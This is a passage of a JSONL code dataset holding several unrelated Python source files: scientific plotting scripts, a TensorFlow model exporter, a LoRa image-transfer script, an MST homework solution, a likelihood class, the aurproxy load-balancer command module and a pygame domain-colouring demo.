legend_fontsize=18, linewidth=2, markers=['s', 'o', '^', 'v'], \n                colors=['red', 'blue', 'limegreen', 'purple'])\n \n    fig.savefig('data/pdf/finite_difference/steps_{}_{}.pdf'.format(initial_ls, error_type), bbox_inches='tight')\n\n\ndef peanut_plot_iterations():\n    initial_ls='quadratic'\n\n    # peanut_plot_iterations_helper(initial_ls, 'err_1', 0)\n    # peanut_plot_iterations_helper(initial_ls, 'err_inf', 1)\n    peanut_plot_iterations_helper(initial_ls, 'err_int', 2)\n\n\ndef peanut_plot_convergence_helper(initial_ls, error_type, fig_id):\n    REFINEMENTS = [5, 6, 7, 8]\n    y_label = get_y_label(error_type)\n    mesh_sizes = np.array([get_mesh_size(REFINEMENT) for REFINEMENT in REFINEMENTS])\n    x_collection = np.repeat(mesh_sizes.reshape(1, -1), 3, axis=0)\n    y_collection = np.zeros_like(x_collection)\n\n    for i in range(len(REFINEMENTS)):\n        err_fd_simple = peanut_get_err(error_type, 'fd_simple-' + initial_ls, REFINEMENTS[i])\n        err_fd_subcell = peanut_get_err(error_type, 'fd_subcell-' + initial_ls, REFINEMENTS[i])\n        err_fem = peanut_get_err(error_type, 'case_4-' + initial_ls, REFINEMENTS[i])\n        y_collection[0, i] = err_fd_simple[-1]\n        y_collection[1, i] = err_fd_subcell[-1]\n        y_collection[2, i] = err_fem[-1]\n\n    legend_collection = [r'FDM - standard', r'FDM - subcell fix', r'FEM - this work']\n\n    for i in range(len(x_collection)):\n        OC = np.log(y_collection[i][-1] / y_collection[i][0]) / np.log(x_collection[i][-1] / x_collection[i][0])\n        legend_collection[i] += r' (OC = {:.2f})'.format(OC)\n    \n    x_label = r'$h$'\n    title_label = ''\n    reference_OC = get_reference_OC(error_type)\n\n    addiontal_legend = r'Initial level set: $\\phi^{0, a}$' if initial_ls == 'quadratic' else r'Initial level set: $\\phi^{0, b}$'\n\n    fig = base_plot(fig_id, x_collection, y_collection, legend_collection, x_label, y_label, title_label, \n        True, True, legend_fontsize=16, legend_loc='lower right', reference_OC=reference_OC, addiontal_legend=addiontal_legend)\n\n    fig.savefig('data/pdf/finite_difference/{}_{}.pdf'.format(initial_ls, error_type), bbox_inches='tight')\n\n\ndef peanut_plot_convergence():\n    initial_ls_collection = ['quadratic', 'sin']\n    for i in range(len(initial_ls_collection)):\n        peanut_plot_convergence_helper(initial_ls_collection[i], 'err_1', 3 * i)\n        # peanut_plot_convergence_helper(initial_ls_collection[i], 'err_inf', 3 * i + 1)\n        peanut_plot_convergence_helper(initial_ls_collection[i], 'err_int', 3 * i + 2)\n\n\ndef dealii_get_error_column_index(error_type):\n    if error_type == 'err_2':\n        index = 1\n    elif error_type == 'err_h1':\n        index = 2\n    elif error_type == 'err_inf':\n        index = 3\n    elif error_type == 'err_sd':\n        index = 4\n    elif error_type == 'err_int':\n        index = 5\n    elif error_type == 'err_vol':\n        index = 6\n    else:\n        assert 0, \"Unknown error type\"\n    return index\n\n\ndef dealii_get_legend(narrow_band_info):\n    if narrow_band_info == 'global_trivial':\n        label = r'$\\phi^0$ - full domain'\n    elif narrow_band_info == 'narrow_trivial':\n        label = r'$\\phi^0$ - narrow band'\n    elif narrow_band_info == 'narrow_laplace':\n        label = r'$\\psi$ - narrow band'\n    else:\n        assert 0, \"Unknown narrow band information\" \n    return label\n  \n\ndef dealii_plot_convergece_helper(case_name, error_type, narrow_band_info_set, fig_id):\n    y_label = get_y_label(error_type)\n    x_collection = []\n    y_collection = []\n    legend_collection = []\n    for narrow_band_info in narrow_band_info_set:\n        errors = np.genfromtxt(\"data/dat/convergence_second_submission/{}{}.dat\".format(case_name, narrow_band_info), dtype=float)\n        x_collection.append(errors[:, 0])\n        y_collection.append(errors[:, dealii_get_error_column_index(error_type)])\n        OC = np.log(y_collection[-1][-1] / y_collection[-1][0]) / np.log(x_collection[-1][-1] / x_collection[-1][0])\n        legend_collection.append(dealii_get_legend(narrow_band_info) + r' (OC = {:.2f})'.format(OC))\n\n    x_collection = np.asarray(x_collection)\n    y_collection = np.asarray(y_collection)\n\n    x_label = r'$h$'\n    title_label = ''\n    reference_OC = get_reference_OC(error_type)\n\n    fig = base_plot(fig_id, x_collection, y_collection, legend_collection, x_label, y_label, title_label, \n        True, True, legend_fontsize=18, reference_OC=reference_OC)\n \n    fig.savefig('data/pdf/convergence_results/{}{}.pdf'.format(case_name, error_type), bbox_inches='tight')\n\n\ndef dealii_plot_convergence():\n    cases = ['case_0/pore_0_', 'case_0/pore_4_', 'case_2/', 'case_3/']\n    error_types = ['err_2', 'err_h1', 'err_inf', 'err_sd', 'err_int', 'err_vol']\n    narrow_band_info = ['global_trivial', 'narrow_trivial', 'narrow_laplace']\n\n    fig_id = 0\n\n    for i in range(3):\n        dealii_plot_convergece_helper(cases[0], error_types[i + 3], narrow_band_info[:], fig_id)\n        fig_id += 1\n\n    for i in range(6):\n        dealii_plot_convergece_helper(cases[1], error_types[i], narrow_band_info[:], fig_id)\n        fig_id += 1\n\n    for i in range(6):\n        dealii_plot_convergece_helper(cases[2], error_types[i], narrow_band_info[1:2], fig_id)\n        fig_id += 1\n\n    for i in range(2):\n        dealii_plot_convergece_helper(cases[3], error_types[i + 3], narrow_band_info[1:2], fig_id)\n        fig_id += 1\n\n\nif __name__ == '__main__':\n    print(\"\\n\")\n    peanut_plot_iterations()\n    # peanut_plot_convergence()\n    # dealii_plot_convergence()\n    plt.show()","repo_name":"tianjuxue/sbm_ls","sub_path":"python/python_plot.py","file_name":"python_plot.py","file_ext":"py","file_size_in_byte":10142,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"22857669758","text":"import os\nfrom typing import Any, Dict\n\nimport tensorflow as tf\nfrom packaging import version\n\nfrom modelscope.exporters.builder import EXPORTERS\nfrom modelscope.exporters.tf_model_exporter import TfModelExporter\nfrom modelscope.models.cv.cartoon import CartoonModel\nfrom modelscope.utils.logger import get_logger\n\nlogger = get_logger()\n\nif version.parse(tf.__version__) < version.parse('2'):\n    pass\nelse:\n    logger.info(\n        f'TensorFlow version {_tf_version} found, TF2.x is not supported by CartoonTranslationExporter.'\n    )\n\ntf.logging.set_verbosity(tf.logging.INFO)\n\n\n@EXPORTERS.register_module(module_name=r'cartoon-translation')\nclass CartoonTranslationExporter(TfModelExporter):\n\n    def __init__(self, model=None):\n        super().__init__(model)\n\n    def export_frozen_graph_def(self, ckpt_path: str, frozen_graph_path: str,\n                                **kwargs):\n        tf.get_variable_scope().reuse_variables()\n\n        input = tf.placeholder(tf.float32, [None, None, 3], name='input_image')\n        input = input[:, :, :][tf.newaxis]\n        input = input / 127.5 - 1.0\n\n        model = CartoonModel(model_dir='')\n        output = model(input)\n        final_out = output['output_cartoon'][0]\n        final_out = tf.clip_by_value(final_out, -0.999999, 0.999999)\n        final_out = (final_out + 1.0) * 127.5\n        final_out = tf.cast(final_out, tf.uint8, name='output_image')\n\n        all_vars = tf.trainable_variables()\n        gene_vars = [var for var in all_vars if 'generator' in var.name]\n        saver = tf.train.Saver(var_list=gene_vars)\n\n        init = tf.global_variables_initializer()\n        config = tf.ConfigProto(allow_soft_placement=True)\n        config.gpu_options.allow_growth = True\n        with tf.Session(config=config) as sess:\n\n            sess.run(init)\n            saver.restore(sess, ckpt_path)\n            frozen_graph_def = tf.graph_util.convert_variables_to_constants(\n                sess, sess.graph_def, output_node_names=['output_image'])\n            with open(frozen_graph_path, 'wb') as f:\n                f.write(frozen_graph_def.SerializeToString())\n            print('freeze done')\n\n        return {'model': frozen_graph_path}\n\n    def export_saved_model(self, output_dir: str, **kwargs):\n        raise NotImplementedError(\n            'Exporting saved model is not supported by CartoonTranslationExporter currently.'\n        )\n\n    def export_onnx(self, output_dir: str, **kwargs):\n        raise NotImplementedError(\n            'Exporting onnx model is not supported by CartoonTranslationExporter currently.'\n        )\n","repo_name":"modelscope/modelscope","sub_path":"modelscope/exporters/cv/cartoon_translation_exporter.py","file_name":"cartoon_translation_exporter.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":4825,"dataset":"github-code","pt":"16"}
+{"seq_id":"35233184226","text":"import json\r\nimport encoder\r\nfrom CommunicationProtocol import CommunicationProtocol \r\n\r\ndef sendImage(img_name):\r\n#\tarr = encoder.encode_image(img_name)\r\n#\tarr = encoder.create_list(arr)\r\n#\tleng = len(arr)\r\n#\tincoming_img = {\"body\" : \"image\", \"size\" : leng}\r\n#\tsize_json = json.dumps(incoming_img)\r\n#\tcomm.communicateData(size_json)\r\n#\tfor i in range(leng):\r\n#\t\tnextImg = {str(arr[i]) : i}\r\n#\t\tnext_json = json.dumps(nextImg)\r\n#\t\tcomm.communicateData(next_json)\r\n\tcomm = CommunicationProtocol()\r\n\tarr = encoder.encode_image(img_name)\r\n\tarr = encoder.create_list(arr)\r\n\tleng = len(arr)\r\n\tincoming_img = {\"body\" : \"image\", \"size\": leng}\r\n\tsize_json = json.dumps(incoming_img)\r\n\tcomm.communicateData(size_json)\r\n\tfor i in range(leng):\r\n\t\tsendMessage(arr[i], i)\r\n\r\ndef sendMessage(message, numSent):\r\n\tsendingPacket = message\r\n\tloraRadio.send(sendingPacket, identifier = numSent)\r\n\r\n\r\ndef receiveImage(arrSize, newimg): # Enters this function if you received the \"IMAGE\" message\r\n\timgarr = [None] * arrSize\r\n\tfor i in range(arrSize):\r\n\t\tpacket = loraRadio.recieve(with_header = True)\r\n\t\timgarr[packet[2]] = packet[4]\r\n\tfinarr = encoder.recombine_list(imgarr)\r\n\tencoder.decode_image(finarr, \"newimg.png\")\r\n\r\n# sendImage(\"donut.png\")","repo_name":"AmanuelEphrem/CommandAndTelemetry","sub_path":"testingfolder/sendImage.py","file_name":"sendImage.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"6062603737","text":"class Address:\n    def __init__(self):\n        self.name=\"street\"\n        self.city=\"city\"\n    #def display(self):\n        #print(self.name)\n\n    \n\nclass Person:\n    def __init__(self):\n        self.first_name = \"name\"\n        self.last_name = \"lastname\"\n        self.author = Address()\n        self.work = Address()\n    \n    def display(self):\n        print(self.author.name)\n    \n\nbob = Person()\n#bob = Address()\nprint(bob.author.name)\nPerson.display(bob)\n#Address.display(bob)\n\nbob.author.name = \"creole\"\n\nprint(bob.author.name)\n\n","repo_name":"robertggovias/robertgovia.github.io","sub_path":"python/cs241/w04/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34177647057","text":"#Szymon Mamoń\n#algorytm szuka MST za pomoca algorytmu kruskala dla zaczynajac od kazdej krawedzi zwracajac dla kazdego mst roznice pomiedzy\n#najdluzsza krawedzia i najkrotsza\n# O(v^2 + v^5 * log v)\nfrom zad8testy import runtests\n\ndef cost(c1,c2):\n    d = (c1[0]-c2[0])**2 + (c1[1]-c2[1])**2\n    d **= 1/2\n    if d > int(d):\n        return int(d) + 1\n    return int(d)\n\n\nclass Node:\n    def __init__(self,val):\n        self.rank = 0\n        self.val = val\n        self.parent = self\n\n\ndef find(x):\n    if x.parent != x:\n        x.parent = find(x.parent)\n\n    return x.parent\n\ndef union(x,y):\n    if x == y:\n        return\n    if x.rank > y.rank:\n        y.parent = x\n    else:\n        x.parent = y\n        if x.rank == y.rank:\n            y.rank += 1\n\n\ndef build_MST(L,start,n,Nodes,m):\n    edges = 0\n    i = start\n    while edges < n - 1 and i < len(L):\n        x = find(Nodes[L[i][1]])\n        y = find(Nodes[L[i][2]])\n\n        if x == y:\n            i += 1\n            continue\n        union(x,y)\n        edges += 1\n        i += 1\n        if L[i-1][0]-L[start][0] >= m:\n            return m\n    if edges == n-1:\n        return L[i-1][0] - L[start][0]\n    return m\n\n\n\ndef highway( A ):\n    n = len(A)\n    L = []\n    for i in range(n):\n        for j in range(i+1,n):\n            L.append((cost(A[i],A[j]),i,j))\n\n    result = float('inf')\n    L.sort()\n    m = float('inf')\n    for i in range(n*(n-1)//2-n+1):\n            if not L[i+n-2][0]-L[i][0] > m:\n                Nodes = [Node(i) for i in range(n)]\n                m = build_MST(L,i,n,Nodes,m)\n\n\n    return m\n\n# zmien all_tests na True zeby uruchomic wszystkie testy\nruntests( highway, all_tests = True )\n","repo_name":"norm4nn/1Y-2T","sub_path":"ASD/offline_exercises/offline8/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28506199094","text":"\"\"\"\nA likelihood that has noise propotional to the observed signal (which has\nto be a positive quantity).\n\nAuthor:\n    Ilias Bilionis\n\nDate:\n    6/10/2014\n\n\"\"\"\n\n\n__all__ = ['ProportionalNoiseLikelihood']\n\n\nimport numpy as np\nimport math\nfrom . import Likelihood\n\n\nclass ProportionalNoiseLikelihood(Likelihood):\n\n    \"\"\"\n    This likelihood is as follows:\n\n    .. math::\n\n        L(y, f(x), \\\\theta) = \\sum_{i=1}^m \\ln \\mathcal{N}(y_i | f_i(x), f_i^2(x)\\\\theta^2).\n\n    \"\"\"\n\n    def __init__(self, y, model, name='Proportional Likelihood'):\n        \"\"\"\n        Initialize the object.\n        \"\"\"\n        super(ProportionalNoiseLikelihood, self).__init__(y, model, 1,\n                                                          name=name)\n\n    def _noise_eval(self, fx, theta):\n        \"\"\"\n        Evaluate the noise term.\n        \"\"\"\n        m = self.model.num_output\n        tmp = (self.y - fx) / (fx * theta[0])\n        err2 = np.dot(tmp, tmp)\n        L = (-0.5 * m * math.log(2. * math.pi)\n             -m * math.log(theta[0])\n             -np.sum(np.log(fx))\n             -0.5 * err2)\n        L_grad_theta = np.array([[-m / theta[0] + err2 / theta[0]]])\n        L_grad_f = -1. / fx + tmp / (fx * theta[0]) + tmp ** 2 / fx\n        L_grad_2_theta = np.array([[m / theta[0] ** 2 - 3. * err2 / theta[0] ** 2]])\n        L_grad_2_f = (1. / fx ** 2\n                      -1. / (fx * theta[0]) ** 2\n                      -4. * tmp / (fx * theta[0]) / fx\n                      -3. * (tmp / fx) ** 2)\n        L_grad_2_theta_f = (-2. * tmp / (fx * theta[0]) / theta[0]\n                            -2. * tmp ** 2 / (fx * theta[0]))\n        state = {}\n        state['L'] = L\n        state['L_grad_theta'] = L_grad_theta\n        state['L_grad_f'] = L_grad_f.reshape((1, m))\n        state['L_grad_2_theta'] = L_grad_2_theta\n        state['L_grad_2_f'] = np.diag(L_grad_2_f)\n        state['L_grad_2_theta_f'] = L_grad_2_theta_f.reshape((1, m))\n        return state\n","repo_name":"ebilionis/variational-reformulation-of-inverse-problems","sub_path":"vuq/_proportional_noise_likelihood.py","file_name":"_proportional_noise_likelihood.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"11839335792","text":"import gevent.monkey\ngevent.monkey.patch_all()\n\nimport commandr\nfrom flask import Flask\nfrom gevent.wsgi import WSGIServer\nimport json\nimport logging\n\nfrom tellapart.aurproxy.app.module.http import lifecycle_blueprint\nfrom tellapart.aurproxy.app.lifecycle import register_shutdown_handler\nfrom tellapart.aurproxy.metrics.store import (\n  add_publisher,\n  set_root_prefix)\nfrom tellapart.aurproxy.mirror import load_mirror_updater\nfrom tellapart.aurproxy.proxy import ProxyUpdater\nfrom tellapart.aurproxy.util import (\n  get_logger,\n  load_cli_plugin,\n  load_klass_plugin,\n  setup_sentry,\n  setup_sentry_wsgi)\n\nfrom tellapart.aurproxy.exception import AurProxyConfigException\n\n\nlogger = get_logger(__name__)\nlogging.getLogger('requests').setLevel(logging.WARNING)\n\n_DEFAULT_BACKEND = 'nginx'\n_DEFAULT_MAX_UPDATE_FREQUENCY = 10\n_DEFAULT_METRIC_PUBLISHER_CLASS = None\n_DEFAULT_METRIC_PUBLISHER_KWARGS = []\n_DEFAULT_MIRROR_MAX_QPS = 0\n_DEFAULT_MIRROR_MAX_UPDATE_FREQUENCY = 15\n_DEFAULT_MIRROR_PORTS = None\n_DEFAULT_MIRROR_SOURCE = None\n_DEFAULT_REGISTRATION_CLASS = None\n_DEFAULT_REGISTRATION_KWARGS = []\n_DEFAULT_REPLAY_MAX_UPDATE_FREQUENCY = _DEFAULT_MIRROR_MAX_UPDATE_FREQUENCY\n\n_DEFAULT_UPDATE_PERIOD = 2\n_DEFAULT_WEIGHT_ADJUSTMENT_DELAY_SEC = 180\n\n_MIRROR_COMMAND_TEMPLATE_PATH = './tellapart/aurproxy/templates/gor' \\\n                                '/mirror.sh.template'\n_REPLAY_COMMAND_TEMPLATE_PATH = './tellapart/aurproxy/templates/gor' \\\n                                '/replay.sh.template'\n_MIRROR_PID_PATH = '/tmp/mirror_pid'\n\n@commandr.command\ndef run(management_port,\n        config,\n        backend=_DEFAULT_BACKEND,\n        update_period=_DEFAULT_UPDATE_PERIOD,\n        max_update_frequency=_DEFAULT_MAX_UPDATE_FREQUENCY,\n        weight_adjustment_delay_seconds=_DEFAULT_WEIGHT_ADJUSTMENT_DELAY_SEC,\n        registration_class=_DEFAULT_REGISTRATION_CLASS,\n        registration_arg=_DEFAULT_REGISTRATION_KWARGS,\n        metric_publisher_class=_DEFAULT_METRIC_PUBLISHER_CLASS,\n        metric_publisher_arg=_DEFAULT_METRIC_PUBLISHER_KWARGS,\n        mirror_source=_DEFAULT_MIRROR_SOURCE,\n        mirror_ports=_DEFAULT_MIRROR_PORTS,\n        mirror_max_qps=_DEFAULT_MIRROR_MAX_QPS,\n        mirror_max_update_frequency=_DEFAULT_MIRROR_MAX_UPDATE_FREQUENCY,\n        mirror_pid_path=_MIRROR_PID_PATH,\n        sentry_dsn=None,\n        setup=False):\n  \"\"\"Run the Aurproxy load balancer manager.\n\n  Args:\n    management_port - int - port for the manager application to listen on for\n      Aurora lifecycle queries and events (/health, /quitquit, etc.).\n    config - JSON String or file:// location of a JSON document - Load balancer\n      configuration. See README.md for detailed documentation.\n    backend - Load balancer manager backend to use. EG: \"nginx\".\n    update_period - int - frequency with which the need to update is checked.\n    max_update_frequency - int - minimum number of seconds between updates.\n    weight_adjustment_delay_seconds - int - number of seconds to wait before\n      starting configured share adjusters. May not want them running\n      immediately after aurproxy deploys.\n    registration_class - str - Python class path for registration class.\n    registration_arg - list(str) - List of equal-sign-delimited string kwarg\n      pairs.\n      Example:\n        [\"domain=myapp.mydomain.com\", \"type=A\"]\n    metric_publisher_class - str - Python class path for metrics publisher\n      class.\n    metric_publisher_arg - list(str) - List of equal-sign-delimited string\n      kwarg pairs.\n      Example:\n        [\"source=cluster.role.environment.job\"]\n    mirror_source - JSON String - Source configuration for gor repeater to\n      which http traffic should be mirrored.\n    mirror_ports - Comma separated integer string - Local ports to mirror.\n      Example: \"8080,8081\"\n    mirror_max_qps - Max QPS to mirror to gor repeater.\n    mirror_max_update_frequency - integer - number of seconds between updates\n      of mirror configuration.\n    sentry_dsn - str - Sentry DSN for error logging.\n    setup - bool - When run in setup mode, aurproxy will render a configuration\n     for the managed load balancer once and then exit. Run aurproxy once in\n     setup mode to set up the load balancer, then start aurproxy and the load\n     balancer together.\n  \"\"\"\n  # Set up sentry error logging\n  if sentry_dsn:\n    setup_sentry(sentry_dsn)\n\n  # Load config\n  try:\n    if config.startswith('file://'):\n      with open(config.split('file://', 1)[1]) as config_fh:\n        proxy_config = json.load(config_fh)\n    else:\n      proxy_config = json.loads(config)\n  except (TypeError, ValueError):\n    raise commandr.CommandrUsageError('Invalid JSON configuration specified via --config')\n  except IOError as err:\n    raise commandr.CommandrUsageError('Failed to read --config file: %s' % err)\n\n  # Set up updater\n  try:\n    proxy_updater = ProxyUpdater(backend, proxy_config, update_period,\n                                 max_update_frequency)\n  except AurProxyConfigException as exc:\n    raise commandr.CommandrUsageError(\n      'Invalid configuration: {}'.format(str(exc)),\n    )\n\n  # Set up mirroring\n  mirror_updater = None\n  if mirror_source:\n    mirror_updater = load_mirror_updater(mirror_source,\n                                         mirror_ports,\n                                         mirror_max_qps,\n                                         mirror_max_update_frequency,\n                                         _MIRROR_COMMAND_TEMPLATE_PATH,\n                                         mirror_pid_path)\n\n  if setup:\n    proxy_updater.set_up()\n    if mirror_updater:\n      mirror_updater.set_up()\n  else:\n    # Set up metrics\n    set_root_prefix('aurproxy')\n    if metric_publisher_class:\n      _setup_metrics(metric_publisher_class, metric_publisher_arg)\n\n    # Set up registration\n    if registration_class:\n      try:\n        registerer = load_cli_plugin(registration_class, registration_arg)\n        registerer.add()\n        register_shutdown_handler(registerer.remove)\n      except Exception:\n        logger.exception('Registration failure.')\n        raise\n\n    # Start the updaters and extract blueprints\n    proxy_updater.start(weight_adjustment_delay_seconds)\n    blueprints = proxy_updater.blueprints\n    if mirror_updater:\n      mirror_updater.start()\n      blueprints += mirror_updater.blueprints\n\n    _start_web(management_port, sentry_dsn, blueprints)\n\n@commandr.command\ndef run_replay(management_port,\n               replay_port,\n               replay_source,\n               replay_max_qps,\n               replay_max_update_frequency=_DEFAULT_REPLAY_MAX_UPDATE_FREQUENCY,\n               replay_pid_path=_MIRROR_PID_PATH,\n               metric_publisher_class=_DEFAULT_METRIC_PUBLISHER_CLASS,\n               metric_publisher_arg=_DEFAULT_METRIC_PUBLISHER_KWARGS,\n               sentry_dsn=None,\n               setup=False):\n  \"\"\"Run the Aurproxy traffic replay server manager.\n\n  Args:\n    management_port - int - port for the manager application to listen on for\n      Aurora lifecycle queries and events (/health, /quitquit, etc.).\n    replay_port - int - port on which the replay server to listen on for a\n      mirrored traffic stream.\n    replay_source - JSON string - Source configuration to which gor replay\n      server will send traffic.\n    replay_max_qps - maximum QPS to replay to listeners.\n    replay_max_update_frequency - Max QPS to replay to source endpoints.\n    metric_publisher_class - str - Python class path for metrics publisher\n      class.\n    metric_publisher_arg - list(str) - List of equal-sign-delimited string\n      kwarg pairs.\n      Example:\n        [\"source=cluster.role.environment.job\"]\n    sentry_dsn - str - Sentry DSN for error logging.\n    setup - bool - When run in setup mode, aurproxy will render a configuration\n      for the replay server once and then exit. Run aurproxy once in setup mode\n      to set up the replay server, then start aurproxy and the replay server\n      together.\n  \"\"\"\n  try:\n    source_dict = json.loads(replay_source)\n  except (TypeError, ValueError):\n    raise commandr.CommandrUsageError('Invalid JSON configuration specified via --replay_source')\n\n  source = load_klass_plugin(source_dict, klass_field_name='source_class')\n  mirror_updater = load_mirror_updater(source,\n                                       replay_port,\n                                       replay_max_qps,\n                                       replay_max_update_frequency,\n                                       _REPLAY_COMMAND_TEMPLATE_PATH,\n                                       replay_pid_path)\n  if setup:\n    mirror_updater.update(kill_running=False)\n  else:\n    if metric_publisher_class:\n      _setup_metrics(metric_publisher_class, metric_publisher_arg)\n    mirror_updater.start()\n    _start_web(management_port, sentry_dsn, mirror_updater.blueprints)\n\n@commandr.command\ndef synchronize(registration_source,\n                registration_class,\n                registration_arg=_DEFAULT_REGISTRATION_KWARGS,\n                write=False):\n  \"\"\"Add and remove Aurproxy task instances from upstream services.\n\n  Intended to be run by administrators or to be called automatically as a cron\n  as a supplement to / safety net for the pluggable in-task registration and\n  deregistration Aurproxy events that are driven by Aurora lifecycle events.\n\n  Args:\n    registration_source - JSON string - Source configuration.\n      Format:\n        {'registration_class': 'python.class.path',\n         'arg1': 'val1',\n         'arg2': 'val2'}\n      Example:\n        '{\"source_class\": \"aurproxy.sources.AuroraSource\"\n          \"announcer_serverset_path\": \"/aurora/\",\n          \"zk_servers\": \"0.zk.mycluster.mydomain.com:2181,\n                         1.zk.mycluster.mydomain.com:2181,\n                         2.zk.mycluster.mydomain.com:2181,\n          \"environment\": \"devel\",\n          \"job\": \"proxytest\",\n          \"role\": \"proxy\",\n          \"endpoint\": \"http\"}\n      See source class definition for valid kwargs.\n    registration_class - str - Python class path for registration class.\n    registration_arg - list(str) - List of equal-sign-delimited string kwarg\n      pairs.\n      Example:\n        [\"domain=myapp.mydomain.com\", \"type=A\"]\n    write - bool - Whether to apply the changes.\n  \"\"\"\n  try:\n    source_dict = json.loads(registration_source)\n  except (TypeError, ValueError):\n    raise commandr.CommandrUsageError(\n      'Invalid JSON configuration specified via --registration_source',\n    )\n\n  source = load_klass_plugin(source_dict,\n                             klass_field_name='source_class')\n  extra_kwargs = {'source': source}\n  registerer = load_cli_plugin(registration_class,\n                               registration_arg,\n                               extra_kwargs=extra_kwargs)\n  registerer.synchronize(write)\n\ndef _setup_metrics(metric_publisher_class, metric_publisher_args):\n  \"\"\"\n  Sets up a metrics publisher based on command line args.\n\n  Args:\n    metric_publisher_class\n    metric_publisher_args\n  \"\"\"\n  try:\n    publisher = load_cli_plugin(metric_publisher_class,\n                                metric_publisher_args)\n    add_publisher(publisher)\n  except Exception:\n    logger.exception('Metrics failure.')\n    raise\n\ndef _start_web(port, sentry_dsn=None, blueprints=None):\n  \"\"\"\n  Starts a Flask app with optional error logging and blueprint registration.\n\n  Args:\n    port - str/int - port on which management application should listen for\n      HTTP traffic.\n    sentry_dsn - str - Sentry DSN for error logging.\n    blueprints - list(flask.Blueprint)- blueprints to register.\n  \"\"\"\n  # Set up management application\n  app = Flask(__name__)\n  app.register_blueprint(lifecycle_blueprint)\n  if blueprints:\n    for blueprint in blueprints:\n      app.register_blueprint(blueprint)\n  if sentry_dsn:\n    app = setup_sentry_wsgi(app, sentry_dsn)\n  http_server = WSGIServer(('0.0.0.0', int(port)), app)\n  http_server.serve_forever()\n\nif __name__ == '__main__':\n  try:\n    commandr.Run()\n  except KeyboardInterrupt:\n    raise SystemExit('\\nExiting on CTRL-c')\n","repo_name":"tellapart/aurproxy","sub_path":"tellapart/aurproxy/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":12062,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"16"}
+{"seq_id":"70526882888","text":"import sympy as sp\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nimport pygame as pygame\nfunction_limit = (-10.0,10.0)\nquality = 1000\ncolorline_size = 600\nx = sp.symbols(\"x\")\nmy_sigmoid = (1 / (1 + (np.e)**(-30*(x-0.5))))\nfuncpair = []\nfuncInput = np.array([])\nfuncOutput = []\n\nprint(\"all basic math function should be wrote like np.\")\nfunc_str_input = input(\"please write your function with x.  :\")\n#func_str_input = \"x**-2 * sin(1/x*10)\"\n\nfunc_syp = sp.sympify(func_str_input)\n\n# make DATA list.\ndef datagenerate(div):\n    global funcInput\n    global funcOutput\n    global funcpair\n    funcpair = []\n    funcInput = np.linspace(-1, 1, div)\n    funcOutput = []\n    for i in range(div):\n        xvalue = funcInput[i]\n        yvalue = float(func_syp.subs(x, xvalue))\n        if function_limit[0] < yvalue < function_limit[1]:\n            funcpair.append((xvalue, yvalue))\n        else:\n            if yvalue <= function_limit[0]:\n                funcpair.append((xvalue, -np.inf))\n            elif function_limit[1] <= yvalue:\n                funcpair.append((xvalue, np.inf))\n\n    funcInput = list(map(lambda tup: tup[0], funcpair))\n    funcOutput = list(map(lambda tup: tup[1], funcpair))\n\ndatagenerate(quality)\n\n\n\n\n\n\n# Draw simple graph.\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.plot(funcInput, funcOutput)\nax.spines['left'].set_position('zero')\nax.spines['right'].set_color('none')\nax.spines['bottom'].set_position('zero')\nax.spines['top'].set_color('none')\nax.xaxis.set_ticks_position('bottom')\nax.yaxis.set_ticks_position('left')\nplt.show()\n#plt.savefig('output.png')\n\n\n\n\n\n# re-generate data and Draw domain coloring\ndatagenerate(colorline_size)\n\nd_glob = 0\nfuncOutput_exceptInf = []\nfor val in funcOutput:\n    if str(val) == str(np.inf) or str(val) == str(-np.inf):\n        continue\n    funcOutput_exceptInf.append(val)\nminimum = min(funcOutput_exceptInf)\nmaximum = max(funcOutput_exceptInf)\nif minimum * maximum < 0:\n    if abs(maximum) > abs(minimum):\n        d_glob = abs(maximum)\n    else:\n        d_glob = abs(minimum)\nelse:\n    if minimum < 0:\n        d_glob = abs(minimum)\n    else:\n        d_glob = abs(maximum)\nprint(minimum, maximum, d_glob)\ndef float_to_color(floatvalue): #d is half-interval length. ex) [-1,1] interval's d is 1.\n    if str(floatvalue) == str(np.inf):\n        return 255,0,0\n    elif str(floatvalue) == str(-np.inf):\n        return 0,0,255\n\n    fraction = (floatvalue + d_glob) / d_glob / 2\n    print(fraction)\n    fraction = float(my_sigmoid.subs(x,fraction))\n    print(fraction)\n    stretched_length = fraction * 510\n    if stretched_length < 255:\n        return 0,0,round(255 - stretched_length)\n    else:\n        return round(stretched_length - 255), 0, 0\nprint(funcOutput)\nfuncOutput_colorized = list(map(float_to_color,list(funcOutput)))\nprint(funcOutput_colorized)\n\npygame.init()\nscreen = pygame.display.set_mode((1024, 640))\nrun = True\nanimated = False\nwhile run:\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            run = False\n    screen.fill((255,255,255))\n\n    #draw gradation!!\n    if animated == False:\n        for i in range(len(funcOutput_colorized)):\n            pygame.draw.line(screen,\n                             funcOutput_colorized[i],\n                             [150 + i, 300],\n                             [150 + i, 330])\n            pygame.display.flip()\n            pygame.time.wait(5)\n        animated = True\n\n\n\n\npygame.quit()\nsys.exit()","repo_name":"enzoescipy/domain_coloring_youtube","sub_path":"스토리보드 11 실수함수의 도메인색칠/code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
